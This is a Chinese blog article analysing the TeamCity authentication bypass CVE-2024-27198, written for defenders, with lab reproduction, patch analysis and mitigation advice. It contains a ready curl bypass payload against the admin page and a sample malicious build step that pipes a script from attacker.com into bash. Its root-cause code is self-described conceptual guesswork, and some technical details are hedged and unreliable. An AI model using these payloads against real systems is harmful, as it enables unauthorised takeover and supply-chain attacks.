CVE-2024-27198漏洞深度剖析:从路径遍历到CI/CD供应链攻击
2026/6/26 15:37:29
网站开发
1. 项目概述最近在梳理一些CI/CD系统的安全风险时又回顾了今年初一个影响面挺广的漏洞——CVE-2024-27198。这个漏洞出在JetBrains TeamCity这款非常流行的持续集成和部署服务器上本质上是一个身份验证绕过问题。简单来说攻击者可以在未经任何认证的情况下直接访问到本应只有管理员才能进入的后台管理界面从而获得服务器的完全控制权。对于任何一个使用TeamCity来管理代码构建、测试和发布的团队来说这无异于把自家大门的钥匙直接放在了门垫下面。我之所以花时间深入研究这个漏洞是因为它的触发条件并不复杂但造成的后果却极其严重。TeamCity作为开发流程的核心枢纽一旦被攻破攻击者不仅能窃取源代码、篡改构建产物甚至可以直接在构建服务器上执行任意命令实现对整个开发环境的“供应链攻击”。从公开的漏洞信息来看受影响的版本范围很广从2023.05.4之前的版本一直到2024.03.2之前的版本都存在风险。这意味着在过去大半年里部署的许多TeamCity实例如果没有及时更新都可能暴露在风险之下。这篇文章我会从一个实际研究者的角度带你完整走一遍这个漏洞的分析过程。我们不会停留在“有个漏洞”的层面而是会深入它的根源为什么会出现这样的路径处理逻辑攻击者是如何构造请求来绕过认证检查的修复补丁又是如何从根源上堵住这个漏洞的更重要的是我会分享在复现和分析过程中遇到的那些“坑”以及如何在实际环境中快速检测自己的系统是否存在此类风险。无论你是安全研究人员、运维工程师还是开发负责人理解这个漏洞的来龙去脉对于加固你的CI/CD安全防线都至关重要。2. 漏洞原理深度剖析2.1 TeamCity 身份验证机制与请求路由要理解CVE-2024-27198首先得弄清楚TeamCity正常的请求处理流程是怎么走的。TeamCity基于Java开发通常运行在像Tomcat这样的Servlet容器上。它有一套自己的Web框架来处理HTTP请求核心之一就是一个前端控制器Front Controller所有的请求都会先经过这里进行统一的分发。当一个HTTP请求到达TeamCity服务器时大致会经历以下几个阶段Servlet容器接收Tomcat接收到请求根据web.xml配置将请求路由到TeamCity定义的主Servlet。路径解析与预处理TeamCity的框架会解析请求的URL路径。这里有一个关键点TeamCity将它的Web应用部署在根上下文/下但其内部管理了很多不同的“处理程序”来负责不同的路径。例如/app/rest/*开头的路径通常对应REST API/admin/*开头的路径对应管理后台。安全检查拦截在请求被分发到具体的业务处理程序比如一个显示构建日志的页面处理器或者一个修改系统配置的管理处理器之前框架会执行一系列的安全检查。最重要的检查之一就是身份验证和授权。对于像/admin/admin.html这样的管理页面路径框架会检查当前HTTP会话Session中是否存在已认证的用户并且该用户是否拥有管理员权限。如果检查不通过请求会被重定向到登录页面或者直接返回403禁止访问错误。这套机制听起来很牢固问题出在哪里呢问题就出在第二步和第三步的衔接处即路径解析的归一化Normalization和处理逻辑的匹配上。2.2 路径遍历与后缀混淆的成因漏洞的核心在于TeamCity对请求URL路径的处理存在缺陷攻击者可以通过构造特殊的路径欺骗框架的检查逻辑使其“误以为”请求的是一个无需认证的公开资源从而绕过对受保护路径的认证检查。具体来说攻击利用了以下两个关键点对路径中/../目录遍历序列的不当处理在HTTP协议和大多数Web服务器中路径中的/../表示“向上回溯一级目录”。正常的路径规范化处理应该解析这些序列得到最终的实际路径。例如/app/rest/../admin/admin.html经过规范化后应该等同于/app/admin/admin.html。然而在漏洞版本的TeamCity中用于匹配请求和处理程序的安全检查逻辑与最终执行请求的业务逻辑可能使用了不同阶段或不同方式的路径字符串。攻击者可以插入/../使得在安全检查阶段路径看起来像是访问一个公开的、无需认证的接口比如某个REST端点从而通过检查但在后续实际路由时由于/../被解析请求最终被派发到了需要认证的管理页面处理器。对URL后缀如.jsp的混淆这是CVE-2024-27198利用链中另一个常见的技巧。TeamCity的部分静态资源或特定页面可能以.jsp结尾。框架的安全检查规则可能对路径的“结尾部分”有特殊的匹配规则。攻击者可以在目标路径如/admin/admin.html后面追加一个无关的、但被框架以某种方式“忽略”或“剥离”的后缀。例如构造路径/admin/admin.html/或者/admin/admin.html/..;/。在某些容器的配置或框架的路径匹配逻辑中末尾的斜杠/或;后面的部分可能在安全检查时不被视为路径的一部分从而让/admin/admin.html这个需要认证的关键部分“躲过”了安全检查规则的直接匹配但最终处理请求时服务器仍然能正确识别到/admin/admin.html这个资源。注意这里的..;是一种针对Tomcat等Servlet容器的特定技巧。在Servlet规范中路径参数Path Parameters使用分号;分隔分号后的内容被视为参数而非路径的一部分。因此/admin/admin.html/..;/可能被某些解析逻辑理解为路径是/admin/admin.html/../即根目录/而参数部分是空的这进一步干扰了路径匹配。漏洞触发的本质将上述两种手法结合就可以构造出经典的绕过Payload。例如/admin/../app/rest/users/..;/admin/admin.html这个路径看起来有点绕我们拆解一下安全检查阶段框架可能看到路径中包含/app/rest/users一个公开的REST API端点或者因为..;的混淆未能正确识别出最终目标是/admin/admin.html从而放行了请求。实际路由阶段经过Tomcat和TeamCity框架的路径规范化处理/../被解析..;被当作参数分隔符处理最终请求的实际资源变成了/admin/admin.html。于是攻击者无需提供任何认证凭证如Cookie、Token就直接访问到了管理员后台页面。2.3 受影响的版本与组件根据JetBrains官方发布的安全公告受此漏洞影响的TeamCity版本范围非常明确所有2023.05.4 之前的 2023.05.x 版本所有2023.11.3 之前的 2023.11.x 版本所有2024.03.2 之前的 2024.03.x 版本这意味着如果你使用的TeamCity版本号小于上述修复版本即2023.05.4, 2023.11.3, 2024.03.2那么你的实例就存在被攻击的风险。漏洞存在于TeamCity服务器本身的核心Web组件中与操作系统、数据库或具体的项目配置无关。无论是On-Premises本地部署还是托管在私有云上的TeamCity只要版本在受影响范围内都需要立即处理。3. 漏洞复现与环境搭建3.1 实验环境准备为了在不影响生产环境的前提下分析漏洞搭建一个隔离的测试环境是第一步。我推荐使用Docker来快速部署一个存在漏洞的TeamCity版本这是最安全、最便捷的方式。1. 获取漏洞版本镜像JetBrains在Docker Hub上提供了官方的TeamCity镜像。我们可以指定一个具体的漏洞版本标签来拉取。例如选择2023.05.3这个版本它在修复版本2023.05.4之前。# 拉取特定版本的TeamCity服务器镜像 docker pull jetbrains/teamcity-server:2023.05.3 # 拉取配套的TeamCity代理镜像可选用于模拟构建代理 docker pull jetbrains/teamcity-agent:2023.05.32. 运行TeamCity服务器容器TeamCity服务器需要持久化存储数据配置、数据库等我们使用Docker卷Volume来实现。同时它需要暴露Web端口默认8111供访问。# 创建用于数据持久化的卷 docker volume create teamcity_server_datadir docker volume create teamcity_server_logs # 运行漏洞版本的TeamCity服务器容器 docker run -d \ --name teamcity-vuln \ -p 8111:8111 \ -v teamcity_server_datadir:/data/teamcity_server/datadir \ -v teamcity_server_logs:/opt/teamcity/logs \ jetbrains/teamcity-server:2023.05.3执行上述命令后访问http://localhost:8111你会看到TeamCity的初始化安装界面。按照向导完成安装需要设置管理员账号、数据库等。对于测试使用其内置的H2数据库即可。实操心得在初始化时务必记牢你设置的管理员账号密码。另外第一次启动和初始化可能需要几分钟时间请耐心等待直到Web界面完全加载。你可以通过查看容器日志来监控进度docker logs -f teamcity-vuln。3. 环境验证安装完成后使用你设置的管理员账号登录进入主界面。创建一个简单的项目比如一个空的Maven项目确保服务器基本功能正常。这样我们就有了一个“完好无损”的、存在漏洞的靶机。3.2 手动漏洞验证与利用环境就绪后我们手动验证漏洞是否存在。核心就是向服务器发送一个精心构造的HTTP请求尝试访问受保护的管理员页面。工具准备你可以使用任何能发送HTTP请求的工具如curl、Burp Suite、Postman或浏览器插件。这里以curl为例因为它最直接。步骤一确认正常访问需要认证首先我们验证在未登录状态下直接访问管理员页面/admin/admin.html会被拒绝。curl -v http://localhost:8111/admin/admin.html你将会收到一个302 Found或401 Unauthorized的响应并且响应头中很可能包含一个重定向地址指向登录页面如/login.html。这说明正常的安全机制在起作用。步骤二构造并发送绕过Payload现在我们使用漏洞Payload进行尝试。根据公开的漏洞信息一个有效的Payload格式如下curl -v http://localhost:8111/admin/..%2Fapp%2Frest/users/..%3B/admin/admin.html对Payload的解读..%2F这是URL编码后的/../。%2F代表斜杠/。..%3B这是URL编码后的/..;。%3B代表分号;。整个路径试图利用路径遍历和分号技巧将请求“伪装”成对/app/rest/users的访问这可能是一个检查较松的公开或内部接口最终跳转到/admin/admin.html。步骤三分析响应结果如果漏洞存在你可能会观察到与步骤一完全不同的响应状态码可能返回200 OK而不是重定向或拒绝。响应体HTML内容中很可能包含TeamCity管理员后台的界面代码例如页面标题包含“Administration”或者有“Projects”、“Agents”、“Users”等管理菜单。响应头通常不会有Location重定向头。如果成功返回了管理员页面的HTML那么恭喜或者说警报你的测试环境确实存在CVE-2024-27198漏洞。这意味着攻击者无需密码就能看到这个管理界面。注意事项仅仅看到管理界面HTML还不够“致命”因为一些关键操作可能还需要额外的API调用或表单提交这些后续操作可能仍有独立的权限校验。但是在真实的攻击中攻击者可以通过浏览器的开发者工具从返回的HTML页面中提取出有效的CSRF令牌如果有的话或者直接分析页面内的JavaScript代码找到进一步调用管理API的途径。因此能够访问admin.html页面本身就已经是一个极高危的入口点。3.3 利用场景模拟与影响演示为了更深刻地理解漏洞的危害我们模拟一个简单的攻击链信息收集攻击者通过扫描发现目标使用了TeamCity图标、标题、Cookie名称等特征并初步判断版本可能在受影响范围内。权限获取使用上述Payload直接访问https://target-teamcity-server:8111/admin/..%2Fapp%2Frest/users/..%3B/admin/admin.html成功加载管理员后台。后续攻击模拟用户管理在管理员界面攻击者可以创建新的管理员用户为自己建立持久化的后门。项目与构建控制可以查看所有项目的源代码仓库配置可能包含凭证、修改构建步骤例如在构建命令中插入恶意代码如curl http://attacker.com/shell.sh | bash。代理机控制如果配置了构建代理攻击者可能能够访问代理机文件系统甚至通过代理机横向移动。数据窃取导出项目配置、构建历史、测试报告等敏感信息。在实际测试中由于我们只是演示绝对不要进行任何修改操作。你可以点击查看各个管理菜单感受一下攻击者一旦进入后所拥有的巨大控制面。完成演示后请务必销毁测试容器。# 停止并移除测试容器和卷 docker stop teamcity-vuln docker rm teamcity-vuln docker volume rm teamcity_server_datadir teamcity_server_logs4. 漏洞根因分析与补丁解读4.1 源码层面问题定位要真正理解一个漏洞最好的方式就是看代码。JetBrains在发布安全补丁的同时通常也会在YouTrack其问题追踪系统上关联相关的提交记录。通过对比修复前后的代码差异我们可以精准定位问题所在。对于CVE-2024-27198问题的核心位于处理HTTP请求路径的Java类中很可能是一个继承了javax.servlet.Filter或类似机制的安全检查过滤器Filter或者是在请求路由分发器Dispatcher中。漏洞代码逻辑模拟概念性假设存在一个安全检查方法checkAccess(String requestPath)它负责判断当前请求是否需要认证。// 漏洞版本的伪代码逻辑 public boolean isPathProtected(String path) { // 定义一个需要保护的路由前缀列表 ListString protectedPrefixes Arrays.asList(/admin/, /app/rest/users/current, /hax/); for (String prefix : protectedPrefixes) { // 问题点直接使用 startsWith 或 indexOf 进行简单匹配 if (path.startsWith(prefix)) { return true; // 此路径需要认证 } // 或者可能使用了包含 ..; 剥离逻辑但剥离不完整或顺序有问题 String normalizedPath removePathParameters(path); // 假设这个方法会去掉 ; 后面的内容 if (normalizedPath.startsWith(prefix)) { return true; } } return false; // 此路径公开 } // 请求处理的主流程 public void handleRequest(HttpServletRequest request) { String requestURI request.getRequestURI(); // 例如: /admin/../app/rest/users/..;/admin/admin.html // 阶段A安全检查 if (isPathProtected(requestURI)) { // 要求用户登录 if (!user.isAuthenticated()) { redirectToLogin(); return; // 请求在此处被拦截 } } // 阶段B实际路由路径可能在此处被再次规范化 String processedPath normalizePath(requestURI); // 这个方法会解析 /../得到 /admin/admin.html dispatchToHandler(processedPath); // 请求被派发到管理员页面处理器 }漏洞产生的原因 在上面的伪代码中isPathProtected方法在判断路径/admin/../app/rest/users/..;/admin/admin.html时它可能先尝试移除路径参数..;但移除逻辑有缺陷或者移除后的路径匹配逻辑有误。更关键的是它在安全检查阶段没有对路径进行与最终路由阶段完全相同的规范化Canonicalization处理。最终路由的normalizePath()方法会忠实地解析..将路径还原为/admin/admin.html。但安全检查的isPathProtected()可能因为..的存在未能匹配到/admin/这个保护前缀或者因为分号的处理逻辑错误地认为这是一个公开路径。这种安全检查与实际路由之间的路径解析不一致性就是身份验证绕过漏洞的经典温床。4.2 官方修复方案解析JetBrains发布的修复版本2023.05.4, 2023.11.3, 2024.03.2从根本上解决了这个问题。修复的核心思路是确保在请求生命周期的早期就对路径进行彻底、一致的规范化并且所有后续的安全检查和路由逻辑都基于这个规范化后的路径进行。查看相关的代码提交修复可能涉及以下一个或多个方面统一的规范化入口点在请求进入框架的最初阶段可能在某个顶层的Filter或Servlet中就使用一个健壮的、能够正确处理/../、/./、;、//等情况的工具方法对HttpServletRequest.getRequestURI()进行规范化。Java标准库中的java.nio.file.Path.normalize()或org.springframework.util.StringUtils.cleanPath()如果使用Spring可以很好地完成这个任务。移除或修复有问题的路径匹配逻辑修改isPathProtected这类方法确保它们接收到的已经是规范化后的路径并且匹配逻辑严谨例如使用等于equals或规范化后的前缀匹配而不是简单的startsWith避免部分匹配导致的问题。加强对路径参数Path Parameters的处理明确在路径匹配前将分号;及其后的内容从路径部分剥离并将其作为独立的请求参数处理防止其干扰路径匹配。引入额外的防御层除了修复路径解析还可能增加了额外的安全头如更严格的Content-Security-Policy或在关键管理操作上添加了二次确认。修复后的逻辑模拟public String normalizeRequestPath(HttpServletRequest request) { String uri request.getRequestURI(); // 1. 剥离路径参数分号后的内容 int semicolonIndex uri.indexOf(;); if (semicolonIndex 0) { uri uri.substring(0, semicolonIndex); } // 2. 使用标准方法规范化路径解析 . 和 .. Path path Paths.get(uri).normalize(); // 3. 确保路径以 / 开头并返回字符串形式 return path.toString(); } public void handleRequest(HttpServletRequest request) { // 早期统一规范化 String normalizedPath normalizeRequestPath(request); // 现在无论输入什么这里都会得到 /admin/admin.html // 安全检查基于规范化后的路径 if (isPathProtected(normalizedPath)) { // 现在这里能正确匹配了 if (!user.isAuthenticated()) { redirectToLogin(); return; } } // 实际路由也使用同一个规范化路径 dispatchToHandler(normalizedPath); }通过这种修复无论攻击者如何构造包含/../或..;的原始请求在进入核心业务逻辑之前都会被归一化为真实的、标准的路径。安全检查和实际路由基于同一份“真实路径”进行从而彻底堵上了绕过的可能性。4.3 漏洞的普遍性启示CVE-2024-27198虽然发生在TeamCity上但它反映出的是一类在Web开发中非常普遍的安全问题输入验证与上下文一致性。许多类似的漏洞如Spring Framework的CVE-2022-22978也是路径遍历导致的授权绕过都源于类似的错误。给开发者的启示对用户输入保持绝对不信任HTTP请求路径、参数、头都是用户输入必须进行严格的验证和规范化。关键逻辑点使用规范化的数据对于路径、文件名等用于安全决策如权限检查或资源访问如文件读取的关键数据必须在处理的最早阶段进行标准化并在后续所有流程中使用这个标准化后的版本避免多次解析产生差异。理解底层容器的行为了解你所用的Web服务器Tomcat, Jetty, Undertow和Web框架Spring MVC, JAX-RS对URL路径、参数、编码的默认处理方式。这些默认行为有时会成为安全漏洞的跳板。进行专门的负面测试在安全测试中不仅要测试正常功能还要系统性地测试各种边界和异常输入如路径遍历../、空字节%00、特殊字符;,?,#、编码变异双重编码等。5. 防御措施与安全建议5.1 紧急修复与升级指南对于正在使用TeamCity的团队来说应对CVE-2024-27198最直接、最有效的方法就是立即升级到不受影响的版本。升级路径选择JetBrains官方为每个主要维护分支都提供了修复版本。你应该根据当前使用的版本选择对应的升级路径如果你在使用2023.05.x系列请升级到2023.05.4或更高。如果你在使用2023.11.x系列请升级到2023.11.3或更高。如果你在使用2024.03.x系列请升级到2024.03.2或更高。如果你在使用更旧的、已结束标准支持的生命周期EOL版本如2022.10.x官方可能不会为此分支提供修复。强烈建议你规划升级到受支持的版本。停留在已知存在严重漏洞的旧版本是极其危险的行为。升级操作步骤备份备份备份在进行任何升级操作前务必对TeamCity服务器的完整数据目录TeamCity Data Directory通常包含configsystemplugins等子目录以及数据库如果使用外部数据库进行全量备份。这是升级操作的铁律。查阅官方升级文档访问JetBrains TeamCity的官方升级指南。不同版本间的升级可能有特定注意事项尤其是跨大版本的升级如从2023.05.x升级到2023.11.x。下载升级包从JetBrains官网下载对应版本的升级安装包如.tar.gz或.exe。执行升级Windows安装版运行新版本的安装程序它会自动检测旧版本并进行升级。Linux归档版停止TeamCity服务将旧版本的安装目录重命名作为备份解压新版本到原位置然后将备份的数据目录中的conf、logs等必要配置和日志目录复制或链接到新目录。最后使用新目录下的bin/中的脚本启动服务。Docker部署修改你的docker-compose.yml或启动脚本中的镜像标签为修复版本如jetbrains/teamcity-server:2024.03.2然后重新创建容器。确保数据卷Volume正确挂载。验证升级启动新版本后仔细检查管理界面中的版本号。运行一些关键的构建配置确保所有功能正常。检查服务器日志确认没有异常错误。实操心得对于生产环境建议先在准生产Staging环境进行升级演练验证所有自定义插件、构建配置、与版本控制系统的集成等都能正常工作。升级后立即使用上一节提到的curl命令或漏洞扫描工具验证漏洞是否已修复。5.2 临时缓解方案如果由于某些不可抗拒的原因如关键插件不兼容、升级窗口期紧张无法立即升级可以考虑以下临时缓解措施。请注意这些措施不能替代升级只能作为争取时间的权宜之计。网络层访问控制最有效防火墙规则在TeamCity服务器前端的防火墙或负载均衡器上配置严格的访问控制列表ACL。只允许受信任的IP地址段如公司办公网IP、VPN IP、构建代理IP访问TeamCity服务器的管理端口默认8111。禁止所有来自互联网的直接访问。反向代理配置如果使用Nginx或Apache作为反向代理可以在代理层添加基于IP的访问限制或者对/admin/*等管理路径的访问要求额外的HTTP基本认证这增加了另一层屏障但管理起来稍麻烦。示例Nginx配置片段location ~ ^/admin/ { # 允许内部网络IP allow 10.0.0.0/8; allow 192.168.0.0/16; # 拒绝所有其他IP deny all; # 将请求代理给后端的TeamCity服务器 proxy_pass http://teamcity-backend:8111; }注意这种方法的前提是攻击者无法进入你的受信任网络。如果攻击来自内部或VPN被攻破则此措施失效。应用层监控与告警启用TeamCity的详细访问日志并配置日志分析系统如ELK Stack监控异常访问模式。可以设置告警规则例如针对/admin/admin.html路径的访问如果来源IP不在白名单内或会话未认证则触发高优先级告警。在Web应用防火墙WAF上部署针对路径遍历../和分号攻击;的防护规则。虽然WAF可能存在被绕过的风险但能增加攻击门槛。再次强调这些缓解方案只是“创可贴”无法修复漏洞本身。攻击者可能找到其他未被规则覆盖的绕过方式。升级到安全版本是唯一彻底的解决方案。5.3 长期安全加固实践修复一个具体漏洞很重要但建立持续的安全防护体系更为关键。对于CI/CD系统这类核心资产建议采取以下长期实践保持软件更新建立流程定期关注JetBrains的安全公告、订阅CVE通知。为TeamCity等关键基础设施制定明确的补丁管理策略规定安全更新必须在评估后通常应尽快的特定时间窗口内完成。最小权限原则网络隔离将TeamCity服务器部署在内网不直接暴露在公网。通过跳板机或VPN进行访问。用户权限在TeamCity内部严格遵守最小权限原则。只为用户分配完成其工作所必需的项目和权限。避免滥用“系统管理员”角色。服务账户用于连接版本控制系统Git、SVN、制品库、部署目标的服务账户应使用具有最小必要权限的专用令牌或密钥。强化认证与审计启用强制登录在TeamCity设置中禁用“允许匿名用户浏览”等选项强制所有访问都必须经过认证。集成企业SSO如果可能将TeamCity与公司的单点登录SSO系统如Okta, Azure AD集成利用更强的认证机制如MFA和集中的用户生命周期管理。开启详细审计日志确保TeamCity的审计日志功能开启记录所有关键操作如用户登录、权限变更、构建配置修改、代理连接等并定期审查。定期安全评估漏洞扫描使用专业的漏洞扫描工具定期扫描你的TeamCity实例及其所在的主机。渗透测试定期如每年聘请专业的安全团队或使用红队服务对包括CI/CD系统在内的内部网络进行渗透测试主动发现潜在风险。备份与灾难恢复确保TeamCity服务器配置和数据的备份机制可靠有效并定期进行恢复演练。在遭遇安全事件如被勒索软件加密时能够快速从干净备份中恢复。CI/CD系统是现代软件开发的“心脏”它的安全性直接关系到代码的完整性、交付物的可信度和整个研发流程的稳定。对待像CVE-2024-27198这样的高危漏洞必须抱有“零容忍”的态度快速响应彻底根除并以此为契机审视和加固整个系统的安全水位。